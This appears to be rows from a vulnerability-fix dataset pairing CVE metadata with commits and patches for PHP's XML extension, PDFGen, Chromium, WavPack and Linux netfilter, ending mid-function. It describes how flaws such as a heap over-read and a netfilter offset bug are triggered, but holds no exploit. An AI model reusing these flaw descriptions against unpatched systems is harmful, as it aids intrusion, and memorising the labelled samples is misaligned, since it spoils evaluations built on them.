@@ -1435,7 +1435,7 @@ PHP_FUNCTION(xml_set_end_namespace_decl_handler)
}
/* }}} */
-/* {{{ proto int xml_parse(resource parser, string data [, int isFinal])
+/* {{{ proto int xml_parse(resource parser, string data [, int isFinal])
Start parsing an XML document */
PHP_FUNCTION(xml_parse)
{
@@ -1471,8 +1471,8 @@ PHP_FUNCTION(xml_parse_into_struct)
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rsZ|Z", &pind, &data, &data_len, &xdata, &info) == FAILURE) {
return;
}
-
- if (info) {
+
+ if (info) {
zval_dtor(*info);
array_init(*info);
}
@@ -1483,11 +1483,11 @@ PHP_FUNCTION(xml_parse_into_struct)
array_init(*xdata);
parser->data = *xdata;
-
+
if (info) {
parser->info = *info;
}
-
+
parser->level = 0;
parser->ltags = safe_emalloc(XML_MAXLEVEL, sizeof(char *), 0);
@@ -1503,7 +1503,7 @@ PHP_FUNCTION(xml_parse_into_struct)
}
/* }}} */
-/* {{{ proto int xml_get_error_code(resource parser)
+/* {{{ proto int xml_get_error_code(resource parser)
Get XML parser error code */
PHP_FUNCTION(xml_get_error_code)
{
@@ -1537,7 +1537,7 @@ PHP_FUNCTION(xml_error_string)
}
/* }}} */
-/* {{{ proto int xml_get_current_line_number(resource parser)
+/* {{{ proto int xml_get_current_line_number(resource parser)
Get current line number for an XML parser */
PHP_FUNCTION(xml_get_current_line_number)
{
@@ -1569,7 +1569,7 @@ PHP_FUNCTION(xml_get_current_column_number)
}
/* }}} */
-/* {{{ proto int xml_get_current_byte_index(resource parser)
+/* {{{ proto int xml_get_current_byte_index(resource parser)
Get current byte index for an XML parser */
PHP_FUNCTION(xml_get_current_byte_index)
{
@@ -1585,7 +1585,7 @@ PHP_FUNCTION(xml_get_current_byte_index)
}
/* }}} */
-/* {{{ proto int xml_parser_free(resource parser)
+/* {{{ proto int xml_parser_free(resource parser)
Free an XML parser */
PHP_FUNCTION(xml_parser_free)
{
@@ -1611,7 +1611,7 @@ PHP_FUNCTION(xml_parser_free)
}
/* }}} */
-/* {{{ proto int xml_parser_set_option(resource parser, int option, mixed value)
+/* {{{ proto int xml_parser_set_option(resource parser, int option, mixed value)
Set options in an XML parser */
PHP_FUNCTION(xml_parser_set_option)
{
@@ -1657,7 +1657,7 @@ PHP_FUNCTION(xml_parser_set_option)
}
/* }}} */
-/* {{{ proto int xml_parser_get_option(resource parser, int option)
+/* {{{ proto int xml_parser_get_option(resource parser, int option)
Get options from an XML parser */
PHP_FUNCTION(xml_parser_get_option)
{
@@ -1687,7 +1687,7 @@ PHP_FUNCTION(xml_parser_get_option)
}
/* }}} */
-/* {{{ proto string utf8_encode(string data)
+/* {{{ proto string utf8_encode(string data)
Encodes an ISO-8859-1 string to UTF-8 */
PHP_FUNCTION(utf8_encode)
{
@@ -1707,7 +1707,7 @@ PHP_FUNCTION(utf8_encode)
}
/* }}} */
-/* {{{ proto string utf8_decode(string data)
+/* {{{ proto string utf8_decode(string data)
Converts a UTF-8 encoded string to ISO-8859-1 */
PHP_FUNCTION(utf8_decode)
{
|
php
|
https://git.php.net/?p=php-src.git;a=blob;f=ext/xml/xml.c;h=5277588813f5a712f2c055a9a20fe2dc1e498e1f;hb=dccda88f27a084bcbbb30198ace12b4e7ae961cc
|
https://git.php.net/?p=php-src.git;a=blob;f=ext/xml/xml.c;h=84d4253b0fd707e7a47038dca3ea8e675ee0e3f6
| 0
|
PHP_FUNCTION(xml_set_processing_instruction_handler)
{
xml_parser *parser;
zval *pind, **hdl;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rZ", &pind, &hdl) == FAILURE) {
return;
}
ZEND_FETCH_RESOURCE(parser,xml_parser *, &pind, -1, "XML Parser", le_xml_parser);
xml_set_handler(&parser->processingInstructionHandler, hdl);
XML_SetProcessingInstructionHandler(parser->parser, _xml_processingInstructionHandler);
RETVAL_TRUE;
}
|
82,977
| null |
Remote
|
Not required
|
Partial
|
CVE-2018-11363
|
https://www.cvedetails.com/cve/CVE-2018-11363/
|
CWE-125
|
Low
| null | null | null |
2018-05-22
| 5
|
jpeg_size in pdfgen.c in PDFGen before 2018-04-09 has a heap-based buffer over-read.
|
2019-10-02
| null | 0
|
https://github.com/AndreRenaud/PDFGen/commit/ee58aff6918b8bbc3be29b9e3089485ea46ff956
|
ee58aff6918b8bbc3be29b9e3089485ea46ff956
|
jpeg: Fix another possible buffer overrun
Found via the clang libfuzzer
| 0
|
pdfgen.c
|
{"sha": "90ce28713cc4d648a92ab59cac2f48286e62dfc2", "filename": "pdfgen.c", "status": "modified", "additions": 2, "deletions": 1, "changes": 3, "blob_url": "https://github.com/AndreRenaud/PDFGen/blob/ee58aff6918b8bbc3be29b9e3089485ea46ff956/pdfgen.c", "raw_url": "https://github.com/AndreRenaud/PDFGen/raw/ee58aff6918b8bbc3be29b9e3089485ea46ff956/pdfgen.c", "contents_url": "https://api.github.com/repos/AndreRenaud/PDFGen/contents/pdfgen.c?ref=ee58aff6918b8bbc3be29b9e3089485ea46ff956", "patch": "@@ -2036,7 +2036,8 @@ static int jpeg_size(unsigned char* data, unsigned int data_size,\n return 0;\n }\n i+=2;\n- block_length = data[i] * 256 + data[i+1];\n+ if (i + 1 < data_size)\n+ block_length = data[i] * 256 + data[i+1];\n }\n }\n }"}
|
static void flexarray_clear(struct flexarray *flex)
{
int i;
for (i = 0; i < flex->bin_count; i++)
free(flex->bins[i]);
free(flex->bins);
flex->bin_count = 0;
flex->item_count = 0;
}
|
static void flexarray_clear(struct flexarray *flex)
{
int i;
for (i = 0; i < flex->bin_count; i++)
free(flex->bins[i]);
free(flex->bins);
flex->bin_count = 0;
flex->item_count = 0;
}
|
C
| null | null | null |
@@ -2036,7 +2036,8 @@ static int jpeg_size(unsigned char* data, unsigned int data_size,
return 0;
}
i+=2;
- block_length = data[i] * 256 + data[i+1];
+ if (i + 1 < data_size)
+ block_length = data[i] * 256 + data[i+1];
}
}
}
|
PDFGen
|
ee58aff6918b8bbc3be29b9e3089485ea46ff956
|
5f5909763333c205d9392612cabc9dc55854ecae
| 0
|
static void flexarray_clear(struct flexarray *flex)
{
int i;
for (i = 0; i < flex->bin_count; i++)
free(flex->bins[i]);
free(flex->bins);
flex->bin_count = 0;
flex->item_count = 0;
}
|
108,588
| null | null | null | null | null | null | null | null | null | null | null | null | null | null |
2012-12
| null | 0
|
https://github.com/chromium/chromium/commit/c975c78878fff68e82333f599882a7f73cb721ea
|
c975c78878fff68e82333f599882a7f73cb721ea
|
Initialize renderer color preferences to reasonable defaults.
BUG=158422
TEST=as in bug
Review URL: https://chromiumcodereview.appspot.com/11365096
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@166146 0039d316-1c4b-4281-b951-d872f2087c98
| 0
|
content/shell/shell_gtk.cc
|
{"sha": "2ee7cc18de4a3260ea6ad55b0de5c59061b8816f", "filename": "content/public/common/renderer_preferences.cc", "status": "modified", "additions": 10, "deletions": 8, "changes": 18, "blob_url": "https://github.com/chromium/chromium/blob/c975c78878fff68e82333f599882a7f73cb721ea/content/public/common/renderer_preferences.cc", "raw_url": "https://github.com/chromium/chromium/raw/c975c78878fff68e82333f599882a7f73cb721ea/content/public/common/renderer_preferences.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/public/common/renderer_preferences.cc?ref=c975c78878fff68e82333f599882a7f73cb721ea", "patch": "@@ -4,6 +4,8 @@\n \n #include \"content/public/common/renderer_preferences.h\"\n \n+#include \"third_party/skia/include/core/SkColor.h\"\n+\n namespace content {\n \n RendererPreferences::RendererPreferences()\n@@ -15,14 +17,14 @@ RendererPreferences::RendererPreferences()\n subpixel_rendering(\n RENDERER_PREFERENCES_SUBPIXEL_RENDERING_SYSTEM_DEFAULT),\n use_subpixel_positioning(false),\n- focus_ring_color(0),\n- thumb_active_color(0),\n- thumb_inactive_color(0),\n- track_color(0),\n- active_selection_bg_color(0),\n- active_selection_fg_color(0),\n- inactive_selection_bg_color(0),\n- inactive_selection_fg_color(0),\n+ focus_ring_color(SkColorSetARGB(255, 229, 151, 0)),\n+ thumb_active_color(SkColorSetRGB(244, 244, 244)),\n+ thumb_inactive_color(SkColorSetRGB(234, 234, 234)),\n+ track_color(SkColorSetRGB(211, 211, 211)),\n+ active_selection_bg_color(SkColorSetRGB(30, 144, 255)),\n+ active_selection_fg_color(SK_ColorWHITE),\n+ inactive_selection_bg_color(SkColorSetRGB(200, 200, 200)),\n+ inactive_selection_fg_color(SkColorSetRGB(50, 50, 50)),\n browser_handles_non_local_top_level_requests(false),\n browser_handles_all_top_level_requests(false),\n caret_blink_interval(0),"}<_**next**_>{"sha": "30c7c9aed5cb6b898505cda7824f9ececcd0e936", "filename": "content/public/common/renderer_preferences.h", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/c975c78878fff68e82333f599882a7f73cb721ea/content/public/common/renderer_preferences.h", "raw_url": "https://github.com/chromium/chromium/raw/c975c78878fff68e82333f599882a7f73cb721ea/content/public/common/renderer_preferences.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/public/common/renderer_preferences.h?ref=c975c78878fff68e82333f599882a7f73cb721ea", "patch": "@@ -75,7 +75,7 @@ struct CONTENT_EXPORT RendererPreferences {\n SkColor thumb_inactive_color;\n SkColor track_color;\n \n- // The colors used in selection text. Currently only used on Linux.\n+ // The colors used in selection text. Currently only used on Linux and Ash.\n SkColor active_selection_bg_color;\n SkColor active_selection_fg_color;\n SkColor inactive_selection_bg_color;"}<_**next**_>{"sha": "2cfbc475fb07ae2981a61e49e4df52bc5687555b", "filename": "content/shell/shell_gtk.cc", "status": "modified", "additions": 0, "deletions": 15, "changes": 15, "blob_url": "https://github.com/chromium/chromium/blob/c975c78878fff68e82333f599882a7f73cb721ea/content/shell/shell_gtk.cc", "raw_url": "https://github.com/chromium/chromium/raw/c975c78878fff68e82333f599882a7f73cb721ea/content/shell/shell_gtk.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/shell/shell_gtk.cc?ref=c975c78878fff68e82333f599882a7f73cb721ea", "patch": "@@ -17,7 +17,6 @@\n #include \"content/public/common/renderer_preferences.h\"\n #include \"content/shell/shell_browser_context.h\"\n #include \"content/shell/shell_content_browser_client.h\"\n-#include \"third_party/skia/include/core/SkColor.h\"\n \n namespace content {\n \n@@ -190,20 +189,6 @@ void Shell::PlatformCreateWindow(int width, int height) {\n void Shell::PlatformSetContents() {\n WebContentsView* content_view = web_contents_->GetView();\n gtk_container_add(GTK_CONTAINER(vbox_), content_view->GetNativeView());\n-\n- // As an additional requirement on Linux, we must set the colors for the\n- // render widgets in webkit.\n- content::RendererPreferences* prefs =\n- web_contents_->GetMutableRendererPrefs();\n- prefs->focus_ring_color = SkColorSetARGB(255, 229, 151, 0);\n- prefs->thumb_active_color = SkColorSetRGB(244, 244, 244);\n- prefs->thumb_inactive_color = SkColorSetRGB(234, 234, 234);\n- prefs->track_color = SkColorSetRGB(211, 211, 211);\n-\n- prefs->active_selection_bg_color = SkColorSetRGB(30, 144, 255);\n- prefs->active_selection_fg_color = SK_ColorWHITE;\n- prefs->inactive_selection_bg_color = SkColorSetRGB(200, 200, 200);\n- prefs->inactive_selection_fg_color = SkColorSetRGB(50, 50, 50);\n }\n \n void Shell::SizeTo(int width, int height) {"}
|
void Shell::OnBackButtonClicked(GtkWidget* widget) {
GoBackOrForward(-1);
}
|
void Shell::OnBackButtonClicked(GtkWidget* widget) {
GoBackOrForward(-1);
}
|
C
| null | null | null |
@@ -17,7 +17,6 @@
#include "content/public/common/renderer_preferences.h"
#include "content/shell/shell_browser_context.h"
#include "content/shell/shell_content_browser_client.h"
-#include "third_party/skia/include/core/SkColor.h"
namespace content {
@@ -190,20 +189,6 @@ void Shell::PlatformCreateWindow(int width, int height) {
void Shell::PlatformSetContents() {
WebContentsView* content_view = web_contents_->GetView();
gtk_container_add(GTK_CONTAINER(vbox_), content_view->GetNativeView());
-
- // As an additional requirement on Linux, we must set the colors for the
- // render widgets in webkit.
- content::RendererPreferences* prefs =
- web_contents_->GetMutableRendererPrefs();
- prefs->focus_ring_color = SkColorSetARGB(255, 229, 151, 0);
- prefs->thumb_active_color = SkColorSetRGB(244, 244, 244);
- prefs->thumb_inactive_color = SkColorSetRGB(234, 234, 234);
- prefs->track_color = SkColorSetRGB(211, 211, 211);
-
- prefs->active_selection_bg_color = SkColorSetRGB(30, 144, 255);
- prefs->active_selection_fg_color = SK_ColorWHITE;
- prefs->inactive_selection_bg_color = SkColorSetRGB(200, 200, 200);
- prefs->inactive_selection_fg_color = SkColorSetRGB(50, 50, 50);
}
void Shell::SizeTo(int width, int height) {
|
Chrome
|
c975c78878fff68e82333f599882a7f73cb721ea
|
d8b49361b62e00480d9a19521d27b2c5dd607352
| 0
|
void Shell::OnBackButtonClicked(GtkWidget* widget) {
GoBackOrForward(-1);
}
|
75,654
| null |
Remote
|
Not required
|
Partial
|
CVE-2018-19840
|
https://www.cvedetails.com/cve/CVE-2018-19840/
|
CWE-835
|
Medium
| null | null | null |
2018-12-04
| 4.3
|
The function WavpackPackInit in pack_utils.c in libwavpack.a in WavPack through 5.1.0 allows attackers to cause a denial-of-service (resource exhaustion caused by an infinite loop) via a crafted wav audio file because WavpackSetConfiguration64 mishandles a sample rate of zero.
|
2019-10-02
| null | 0
|
https://github.com/dbry/WavPack/commit/070ef6f138956d9ea9612e69586152339dbefe51
|
070ef6f138956d9ea9612e69586152339dbefe51
|
issue #53: error out on zero sample rate
| 0
|
src/pack_utils.c
|
{"sha": "2a834978a9166cfbd1c7a0ab734ca75ed8d7c66d", "filename": "src/pack_utils.c", "status": "modified", "additions": 5, "deletions": 0, "changes": 5, "blob_url": "https://github.com/dbry/WavPack/blob/070ef6f138956d9ea9612e69586152339dbefe51/src/pack_utils.c", "raw_url": "https://github.com/dbry/WavPack/raw/070ef6f138956d9ea9612e69586152339dbefe51/src/pack_utils.c", "contents_url": "https://api.github.com/repos/dbry/WavPack/contents/src/pack_utils.c?ref=070ef6f138956d9ea9612e69586152339dbefe51", "patch": "@@ -195,6 +195,11 @@ int WavpackSetConfiguration64 (WavpackContext *wpc, WavpackConfig *config, int64\n int num_chans = config->num_channels;\n int i;\n \n+ if (!config->sample_rate) {\n+ strcpy (wpc->error_message, \"sample rate cannot be zero!\");\n+ return FALSE;\n+ }\n+\n wpc->stream_version = (config->flags & CONFIG_COMPATIBLE_WRITE) ? CUR_STREAM_VERS : MAX_STREAM_VERS;\n \n if ((config->qmode & QMODE_DSD_AUDIO) && config->bytes_per_sample == 1 && config->bits_per_sample == 8) {"}
|
static char *write_metadata (WavpackMetadata *wpmd, char *outdata)
{
unsigned char id = wpmd->id, wordlen [3];
wordlen [0] = (wpmd->byte_length + 1) >> 1;
wordlen [1] = (wpmd->byte_length + 1) >> 9;
wordlen [2] = (wpmd->byte_length + 1) >> 17;
if (wpmd->byte_length & 1)
id |= ID_ODD_SIZE;
if (wordlen [1] || wordlen [2])
id |= ID_LARGE;
*outdata++ = id;
*outdata++ = wordlen [0];
if (id & ID_LARGE) {
*outdata++ = wordlen [1];
*outdata++ = wordlen [2];
}
if (wpmd->data && wpmd->byte_length) {
memcpy (outdata, wpmd->data, wpmd->byte_length);
outdata += wpmd->byte_length;
if (wpmd->byte_length & 1)
*outdata++ = 0;
}
return outdata;
}
|
static char *write_metadata (WavpackMetadata *wpmd, char *outdata)
{
unsigned char id = wpmd->id, wordlen [3];
wordlen [0] = (wpmd->byte_length + 1) >> 1;
wordlen [1] = (wpmd->byte_length + 1) >> 9;
wordlen [2] = (wpmd->byte_length + 1) >> 17;
if (wpmd->byte_length & 1)
id |= ID_ODD_SIZE;
if (wordlen [1] || wordlen [2])
id |= ID_LARGE;
*outdata++ = id;
*outdata++ = wordlen [0];
if (id & ID_LARGE) {
*outdata++ = wordlen [1];
*outdata++ = wordlen [2];
}
if (wpmd->data && wpmd->byte_length) {
memcpy (outdata, wpmd->data, wpmd->byte_length);
outdata += wpmd->byte_length;
if (wpmd->byte_length & 1)
*outdata++ = 0;
}
return outdata;
}
|
C
| null | null | null |
@@ -195,6 +195,11 @@ int WavpackSetConfiguration64 (WavpackContext *wpc, WavpackConfig *config, int64
int num_chans = config->num_channels;
int i;
+ if (!config->sample_rate) {
+ strcpy (wpc->error_message, "sample rate cannot be zero!");
+ return FALSE;
+ }
+
wpc->stream_version = (config->flags & CONFIG_COMPATIBLE_WRITE) ? CUR_STREAM_VERS : MAX_STREAM_VERS;
if ((config->qmode & QMODE_DSD_AUDIO) && config->bytes_per_sample == 1 && config->bits_per_sample == 8) {
|
WavPack
|
070ef6f138956d9ea9612e69586152339dbefe51
|
e731cea83d52cccb4d3cde4f6503b22ba145de21
| 0
|
static char *write_metadata (WavpackMetadata *wpmd, char *outdata)
{
unsigned char id = wpmd->id, wordlen [3];
wordlen [0] = (wpmd->byte_length + 1) >> 1;
wordlen [1] = (wpmd->byte_length + 1) >> 9;
wordlen [2] = (wpmd->byte_length + 1) >> 17;
if (wpmd->byte_length & 1)
id |= ID_ODD_SIZE;
if (wordlen [1] || wordlen [2])
id |= ID_LARGE;
*outdata++ = id;
*outdata++ = wordlen [0];
if (id & ID_LARGE) {
*outdata++ = wordlen [1];
*outdata++ = wordlen [2];
}
if (wpmd->data && wpmd->byte_length) {
memcpy (outdata, wpmd->data, wpmd->byte_length);
outdata += wpmd->byte_length;
if (wpmd->byte_length & 1)
*outdata++ = 0;
}
return outdata;
}
|
54,273
| null |
Local
|
Not required
|
Complete
|
CVE-2016-3134
|
https://www.cvedetails.com/cve/CVE-2016-3134/
|
CWE-119
|
Low
|
Complete
|
Complete
| null |
2016-04-27
| 7.2
|
The netfilter subsystem in the Linux kernel through 4.5.2 does not validate certain offset fields, which allows local users to gain privileges or cause a denial of service (heap memory corruption) via an IPT_SO_SET_REPLACE setsockopt call.
|
2018-01-04
|
DoS Overflow +Priv Mem. Corr.
| 0
|
https://github.com/torvalds/linux/commit/54d83fc74aa9ec72794373cb47432c5f7fb1a309
|
54d83fc74aa9ec72794373cb47432c5f7fb1a309
|
netfilter: x_tables: fix unconditional helper
Ben Hawkes says:
In the mark_source_chains function (net/ipv4/netfilter/ip_tables.c) it
is possible for a user-supplied ipt_entry structure to have a large
next_offset field. This field is not bounds checked prior to writing a
counter value at the supplied offset.
Problem is that mark_source_chains should not have been called --
the rule doesn't have a next entry, so its supposed to return
an absolute verdict of either ACCEPT or DROP.
However, the function conditional() doesn't work as the name implies.
It only checks that the rule is using wildcard address matching.
However, an unconditional rule must also not be using any matches
(no -m args).
The underflow validator only checked the addresses, therefore
passing the 'unconditional absolute verdict' test, while
mark_source_chains also tested for presence of matches, and thus
proceeeded to the next (not-existent) rule.
Unify this so that all the callers have same idea of 'unconditional rule'.
Reported-by: Ben Hawkes <hawkes@google.com>
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
| 0
|
net/ipv4/netfilter/arp_tables.c
|
{"sha": "a1bb5e7129a2fe94b09273e283ccf27962db8e7e", "filename": "net/ipv4/netfilter/arp_tables.c", "status": "modified", "additions": 9, "deletions": 9, "changes": 18, "blob_url": "https://github.com/torvalds/linux/blob/54d83fc74aa9ec72794373cb47432c5f7fb1a309/net/ipv4/netfilter/arp_tables.c", "raw_url": "https://github.com/torvalds/linux/raw/54d83fc74aa9ec72794373cb47432c5f7fb1a309/net/ipv4/netfilter/arp_tables.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/net/ipv4/netfilter/arp_tables.c?ref=54d83fc74aa9ec72794373cb47432c5f7fb1a309", "patch": "@@ -359,11 +359,12 @@ unsigned int arpt_do_table(struct sk_buff *skb,\n }\n \n /* All zeroes == unconditional rule. */\n-static inline bool unconditional(const struct arpt_arp *arp)\n+static inline bool unconditional(const struct arpt_entry *e)\n {\n \tstatic const struct arpt_arp uncond;\n \n-\treturn memcmp(arp, &uncond, sizeof(uncond)) == 0;\n+\treturn e->target_offset == sizeof(struct arpt_entry) &&\n+\t memcmp(&e->arp, &uncond, sizeof(uncond)) == 0;\n }\n \n /* Figures out from what hook each rule can be called: returns 0 if\n@@ -402,11 +403,10 @@ static int mark_source_chains(const struct xt_table_info *newinfo,\n \t\t\t\t|= ((1 << hook) | (1 << NF_ARP_NUMHOOKS));\n \n \t\t\t/* Unconditional return/END. */\n-\t\t\tif ((e->target_offset == sizeof(struct arpt_entry) &&\n+\t\t\tif ((unconditional(e) &&\n \t\t\t (strcmp(t->target.u.user.name,\n \t\t\t\t XT_STANDARD_TARGET) == 0) &&\n-\t\t\t t->verdict < 0 && unconditional(&e->arp)) ||\n-\t\t\t visited) {\n+\t\t\t t->verdict < 0) || visited) {\n \t\t\t\tunsigned int oldpos, size;\n \n \t\t\t\tif ((strcmp(t->target.u.user.name,\n@@ -551,7 +551,7 @@ static bool check_underflow(const struct arpt_entry *e)\n \tconst struct xt_entry_target *t;\n \tunsigned int verdict;\n \n-\tif (!unconditional(&e->arp))\n+\tif (!unconditional(e))\n \t\treturn false;\n \tt = arpt_get_target_c(e);\n \tif (strcmp(t->u.user.name, XT_STANDARD_TARGET) != 0)\n@@ -598,9 +598,9 @@ static inline int check_entry_size_and_hooks(struct arpt_entry *e,\n \t\t\tnewinfo->hook_entry[h] = hook_entries[h];\n \t\tif ((unsigned char *)e - base == underflows[h]) {\n \t\t\tif (!check_underflow(e)) {\n-\t\t\t\tpr_err(\"Underflows must be unconditional and \"\n-\t\t\t\t \"use the STANDARD target with \"\n-\t\t\t\t \"ACCEPT/DROP\\n\");\n+\t\t\t\tpr_debug(\"Underflows must be unconditional and \"\n+\t\t\t\t\t \"use the STANDARD target with \"\n+\t\t\t\t\t \"ACCEPT/DROP\\n\");\n \t\t\t\treturn -EINVAL;\n \t\t\t}\n \t\t\tnewinfo->underflow[h] = underflows[h];"}<_**next**_>{"sha": "89b5d959eda314ce57a1a7ae8bf365ac334bf0b6", "filename": "net/ipv4/netfilter/ip_tables.c", "status": "modified", "additions": 11, "deletions": 12, "changes": 23, "blob_url": "https://github.com/torvalds/linux/blob/54d83fc74aa9ec72794373cb47432c5f7fb1a309/net/ipv4/netfilter/ip_tables.c", "raw_url": "https://github.com/torvalds/linux/raw/54d83fc74aa9ec72794373cb47432c5f7fb1a309/net/ipv4/netfilter/ip_tables.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/net/ipv4/netfilter/ip_tables.c?ref=54d83fc74aa9ec72794373cb47432c5f7fb1a309", "patch": "@@ -168,11 +168,12 @@ get_entry(const void *base, unsigned int offset)\n \n /* All zeroes == unconditional rule. */\n /* Mildly perf critical (only if packet tracing is on) */\n-static inline bool unconditional(const struct ipt_ip *ip)\n+static inline bool unconditional(const struct ipt_entry *e)\n {\n \tstatic const struct ipt_ip uncond;\n \n-\treturn memcmp(ip, &uncond, sizeof(uncond)) == 0;\n+\treturn e->target_offset == sizeof(struct ipt_entry) &&\n+\t memcmp(&e->ip, &uncond, sizeof(uncond)) == 0;\n #undef FWINV\n }\n \n@@ -229,11 +230,10 @@ get_chainname_rulenum(const struct ipt_entry *s, const struct ipt_entry *e,\n \t} else if (s == e) {\n \t\t(*rulenum)++;\n \n-\t\tif (s->target_offset == sizeof(struct ipt_entry) &&\n+\t\tif (unconditional(s) &&\n \t\t strcmp(t->target.u.kernel.target->name,\n \t\t\t XT_STANDARD_TARGET) == 0 &&\n-\t\t t->verdict < 0 &&\n-\t\t unconditional(&s->ip)) {\n+\t\t t->verdict < 0) {\n \t\t\t/* Tail of chains: STANDARD target (return/policy) */\n \t\t\t*comment = *chainname == hookname\n \t\t\t\t? comments[NF_IP_TRACE_COMMENT_POLICY]\n@@ -476,11 +476,10 @@ mark_source_chains(const struct xt_table_info *newinfo,\n \t\t\te->comefrom |= ((1 << hook) | (1 << NF_INET_NUMHOOKS));\n \n \t\t\t/* Unconditional return/END. */\n-\t\t\tif ((e->target_offset == sizeof(struct ipt_entry) &&\n+\t\t\tif ((unconditional(e) &&\n \t\t\t (strcmp(t->target.u.user.name,\n \t\t\t\t XT_STANDARD_TARGET) == 0) &&\n-\t\t\t t->verdict < 0 && unconditional(&e->ip)) ||\n-\t\t\t visited) {\n+\t\t\t t->verdict < 0) || visited) {\n \t\t\t\tunsigned int oldpos, size;\n \n \t\t\t\tif ((strcmp(t->target.u.user.name,\n@@ -715,7 +714,7 @@ static bool check_underflow(const struct ipt_entry *e)\n \tconst struct xt_entry_target *t;\n \tunsigned int verdict;\n \n-\tif (!unconditional(&e->ip))\n+\tif (!unconditional(e))\n \t\treturn false;\n \tt = ipt_get_target_c(e);\n \tif (strcmp(t->u.user.name, XT_STANDARD_TARGET) != 0)\n@@ -763,9 +762,9 @@ check_entry_size_and_hooks(struct ipt_entry *e,\n \t\t\tnewinfo->hook_entry[h] = hook_entries[h];\n \t\tif ((unsigned char *)e - base == underflows[h]) {\n \t\t\tif (!check_underflow(e)) {\n-\t\t\t\tpr_err(\"Underflows must be unconditional and \"\n-\t\t\t\t \"use the STANDARD target with \"\n-\t\t\t\t \"ACCEPT/DROP\\n\");\n+\t\t\t\tpr_debug(\"Underflows must be unconditional and \"\n+\t\t\t\t\t \"use the STANDARD target with \"\n+\t\t\t\t\t \"ACCEPT/DROP\\n\");\n \t\t\t\treturn -EINVAL;\n \t\t\t}\n \t\t\tnewinfo->underflow[h] = underflows[h];"}<_**next**_>{"sha": "541b59f83595271ccbfa4f531f7246af5790e76f", "filename": "net/ipv6/netfilter/ip6_tables.c", "status": "modified", "additions": 11, "deletions": 12, "changes": 23, "blob_url": "https://github.com/torvalds/linux/blob/54d83fc74aa9ec72794373cb47432c5f7fb1a309/net/ipv6/netfilter/ip6_tables.c", "raw_url": "https://github.com/torvalds/linux/raw/54d83fc74aa9ec72794373cb47432c5f7fb1a309/net/ipv6/netfilter/ip6_tables.c", "contents_url": "https://api.github.com/repos/torvalds/linux/contents/net/ipv6/netfilter/ip6_tables.c?ref=54d83fc74aa9ec72794373cb47432c5f7fb1a309", "patch": "@@ -198,11 +198,12 @@ get_entry(const void *base, unsigned int offset)\n \n /* All zeroes == unconditional rule. */\n /* Mildly perf critical (only if packet tracing is on) */\n-static inline bool unconditional(const struct ip6t_ip6 *ipv6)\n+static inline bool unconditional(const struct ip6t_entry *e)\n {\n \tstatic const struct ip6t_ip6 uncond;\n \n-\treturn memcmp(ipv6, &uncond, sizeof(uncond)) == 0;\n+\treturn e->target_offset == sizeof(struct ip6t_entry) &&\n+\t memcmp(&e->ipv6, &uncond, sizeof(uncond)) == 0;\n }\n \n static inline const struct xt_entry_target *\n@@ -258,11 +259,10 @@ get_chainname_rulenum(const struct ip6t_entry *s, const struct ip6t_entry *e,\n \t} else if (s == e) {\n \t\t(*rulenum)++;\n \n-\t\tif (s->target_offset == sizeof(struct ip6t_entry) &&\n+\t\tif (unconditional(s) &&\n \t\t strcmp(t->target.u.kernel.target->name,\n \t\t\t XT_STANDARD_TARGET) == 0 &&\n-\t\t t->verdict < 0 &&\n-\t\t unconditional(&s->ipv6)) {\n+\t\t t->verdict < 0) {\n \t\t\t/* Tail of chains: STANDARD target (return/policy) */\n \t\t\t*comment = *chainname == hookname\n \t\t\t\t? comments[NF_IP6_TRACE_COMMENT_POLICY]\n@@ -488,11 +488,10 @@ mark_source_chains(const struct xt_table_info *newinfo,\n \t\t\te->comefrom |= ((1 << hook) | (1 << NF_INET_NUMHOOKS));\n \n \t\t\t/* Unconditional return/END. */\n-\t\t\tif ((e->target_offset == sizeof(struct ip6t_entry) &&\n+\t\t\tif ((unconditional(e) &&\n \t\t\t (strcmp(t->target.u.user.name,\n \t\t\t\t XT_STANDARD_TARGET) == 0) &&\n-\t\t\t t->verdict < 0 &&\n-\t\t\t unconditional(&e->ipv6)) || visited) {\n+\t\t\t t->verdict < 0) || visited) {\n \t\t\t\tunsigned int oldpos, size;\n \n \t\t\t\tif ((strcmp(t->target.u.user.name,\n@@ -727,7 +726,7 @@ static bool check_underflow(const struct ip6t_entry *e)\n \tconst struct xt_entry_target *t;\n \tunsigned int verdict;\n \n-\tif (!unconditional(&e->ipv6))\n+\tif (!unconditional(e))\n \t\treturn false;\n \tt = ip6t_get_target_c(e);\n \tif (strcmp(t->u.user.name, XT_STANDARD_TARGET) != 0)\n@@ -775,9 +774,9 @@ check_entry_size_and_hooks(struct ip6t_entry *e,\n \t\t\tnewinfo->hook_entry[h] = hook_entries[h];\n \t\tif ((unsigned char *)e - base == underflows[h]) {\n \t\t\tif (!check_underflow(e)) {\n-\t\t\t\tpr_err(\"Underflows must be unconditional and \"\n-\t\t\t\t \"use the STANDARD target with \"\n-\t\t\t\t \"ACCEPT/DROP\\n\");\n+\t\t\t\tpr_debug(\"Underflows must be unconditional and \"\n+\t\t\t\t\t \"use the STANDARD target with \"\n+\t\t\t\t\t \"ACCEPT/DROP\\n\");\n \t\t\t\treturn -EINVAL;\n \t\t\t}\n \t\t\tnewinfo->underflow[h] = underflows[h];"}
|
check_compat_entry_size_and_hooks(struct compat_arpt_entry *e,
struct xt_table_info *newinfo,
unsigned int *size,
const unsigned char *base,
const unsigned char *limit,
const unsigned int *hook_entries,
const unsigned int *underflows,
const char *name)
{
struct xt_entry_target *t;
struct xt_target *target;
unsigned int entry_offset;
int ret, off, h;
duprintf("check_compat_entry_size_and_hooks %p\n", e);
if ((unsigned long)e % __alignof__(struct compat_arpt_entry) != 0 ||
(unsigned char *)e + sizeof(struct compat_arpt_entry) >= limit ||
(unsigned char *)e + e->next_offset > limit) {
duprintf("Bad offset %p, limit = %p\n", e, limit);
return -EINVAL;
}
if (e->next_offset < sizeof(struct compat_arpt_entry) +
